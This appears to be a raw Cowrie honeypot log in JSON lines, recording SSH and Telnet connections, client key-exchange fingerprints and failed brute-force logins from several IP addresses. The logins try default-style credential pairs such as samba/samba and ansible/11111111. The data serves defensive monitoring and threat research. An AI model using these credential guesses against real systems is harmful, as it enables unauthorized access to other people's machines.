{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:59.738501Z","src_ip":"176.65.139.103","session":"27c376dc732b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:00.053364Z","src_ip":"176.65.139.103","session":"27c376dc732b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.656808137893677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:00.065296Z","src_ip":"161.97.124.15","session":"a13a8853d9f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74770474433899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:00.107298Z","src_ip":"161.97.124.15","session":"72544e07557b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782166719436646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:01.075389Z","src_ip":"161.97.124.15","session":"db9a59f54281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910645484924316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:01.081145Z","src_ip":"161.97.124.15","session":"81eacb81d463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:01.145627Z","src_ip":"176.65.139.103","session":"27c376dc732b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37850,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d6440aebf7b","protocol":"telnet","message":"New connection: 161.97.124.15:37850 (159.203.135.109:23) [session: 2d6440aebf7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:01.467427Z"}
{"eventid":"cowrie.session.closed","duration":30.644630908966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:02.065191Z","src_ip":"161.97.124.15","session":"5e51848687b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11414909362793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:02.081908Z","src_ip":"161.97.124.15","session":"adda2e470b99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600215435028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:02.088279Z","src_ip":"161.97.124.15","session":"81026d4a72cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879056215286255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:04.186411Z","src_ip":"161.97.124.15","session":"05ef45c4e4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26136755943298,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:04.371117Z","src_ip":"213.136.75.179","session":"cebfe4ef7380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533530712127686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.050259Z","src_ip":"161.97.124.15","session":"744ae2ef9541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544445037841797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.084349Z","src_ip":"161.97.124.15","session":"ac5228cce6ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82231640815735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.223836Z","src_ip":"161.97.124.15","session":"026a58b8d4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34708,"dst_ip":"159.203.135.109","dst_port":22,"session":"373e9ab184da","protocol":"ssh","message":"New connection: 159.203.92.129:34708 (159.203.135.109:22) [session: 373e9ab184da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.831164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.866143Z","src_ip":"159.203.92.129","session":"373e9ab184da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.870215Z","src_ip":"159.203.92.129","session":"373e9ab184da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"11111111","message":"login attempt [ansible/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:05.978444Z","src_ip":"159.203.92.129","session":"373e9ab184da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.653817415237427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:06.060649Z","src_ip":"161.97.124.15","session":"fa59fb97ceda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44870,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6444748453c","protocol":"ssh","message":"New connection: 176.65.139.103:44870 (10.17.0.5:22) [session: f6444748453c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:06.570358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:06.576369Z","src_ip":"176.65.139.103","session":"f6444748453c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:06.667459Z","src_ip":"176.65.139.103","session":"f6444748453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:06.992111Z","src_ip":"159.203.92.129","session":"373e9ab184da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:07.064074Z","src_ip":"176.65.139.103","session":"f6444748453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.070018768310547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:07.166939Z","src_ip":"161.97.124.15","session":"c36433ff5358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":50214,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a72dfa55d46","protocol":"telnet","message":"New connection: 161.97.124.15:50214 (159.203.135.109:23) [session: 5a72dfa55d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:07.473013Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:08.257409Z","src_ip":"176.65.139.103","session":"f6444748453c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.950202465057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:08.346557Z","src_ip":"161.97.124.15","session":"572aa5492392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792198657989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:09.050450Z","src_ip":"161.97.124.15","session":"17b41bb421bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54472,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff6c4d22084","protocol":"telnet","message":"New connection: 161.97.124.15:54472 (159.203.135.109:23) [session: 1ff6c4d22084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:09.064592Z"}
{"eventid":"cowrie.session.closed","duration":30.802138090133667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:10.075078Z","src_ip":"161.97.124.15","session":"61b2ba1f5de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57462,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d6c5cbba64","protocol":"telnet","message":"New connection: 161.97.124.15:57462 (159.203.135.109:23) [session: 66d6c5cbba64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:10.413769Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf2be12c5b5","protocol":"telnet","message":"New connection: 161.97.124.15:57800 (159.203.135.109:23) [session: 9bf2be12c5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:10.520415Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59998,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e38803464b","protocol":"telnet","message":"New connection: 161.97.124.15:59998 (159.203.135.109:23) [session: 39e38803464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:11.676800Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"611ce18c2696","protocol":"telnet","message":"New connection: 161.97.124.15:32904 (159.203.135.109:23) [session: 611ce18c2696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:12.271965Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57120,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5629d2978f","protocol":"ssh","message":"New connection: 176.65.139.103:57120 (10.17.0.5:22) [session: ad5629d2978f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:13.522548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:13.609607Z","src_ip":"176.65.139.103","session":"ad5629d2978f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:13.612988Z","src_ip":"176.65.139.103","session":"ad5629d2978f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:13.996577Z","src_ip":"176.65.139.103","session":"ad5629d2978f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83066725730896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:14.112135Z","src_ip":"161.97.124.15","session":"9fb65378a2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"e107b7ae9580","protocol":"telnet","message":"New connection: 161.97.124.15:38362 (159.203.135.109:23) [session: e107b7ae9580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:14.657362Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.170.240","src_port":36812,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c2c587075a","protocol":"telnet","message":"New connection: 177.54.170.240:36812 (10.17.0.5:23) [session: e5c2c587075a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:14.683109Z"}
{"eventid":"cowrie.session.closed","duration":30.97555661201477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:15.066329Z","src_ip":"161.97.124.15","session":"d30f5934c3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:15.177782Z","src_ip":"176.65.139.103","session":"ad5629d2978f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":39690,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae2d307c169","protocol":"telnet","message":"New connection: 161.97.124.15:39690 (159.203.135.109:23) [session: 8ae2d307c169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:15.282232Z"}
{"eventid":"cowrie.session.closed","duration":30.744633436203003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:17.086717Z","src_ip":"161.97.124.15","session":"06e06d05e70e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46640,"dst_ip":"159.203.135.109","dst_port":23,"session":"332bdb579237","protocol":"telnet","message":"New connection: 161.97.124.15:46640 (159.203.135.109:23) [session: 332bdb579237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:18.276724Z"}
{"eventid":"cowrie.session.closed","duration":30.50924038887024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:18.313792Z","src_ip":"161.97.124.15","session":"f630ab111528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741609573364258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:18.539065Z","src_ip":"161.97.124.15","session":"5987ffbf0f3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871384143829346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:19.167661Z","src_ip":"161.97.124.15","session":"8b76d0846361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67770743370056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:20.056185Z","src_ip":"161.97.124.15","session":"969296e793c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546629905700684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:20.133925Z","src_ip":"161.97.124.15","session":"b587be783674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.226332664489746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:20.320633Z","src_ip":"213.136.75.179","session":"28ef765a08aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57150,"dst_ip":"10.17.0.5","dst_port":22,"session":"314afe0e4ac0","protocol":"ssh","message":"New connection: 176.65.139.103:57150 (10.17.0.5:22) [session: 314afe0e4ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:20.953361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:20.959119Z","src_ip":"176.65.139.103","session":"314afe0e4ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:21.043020Z","src_ip":"176.65.139.103","session":"314afe0e4ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:21.305350Z","src_ip":"176.65.139.103","session":"314afe0e4ac0","protocol":"ssh"}
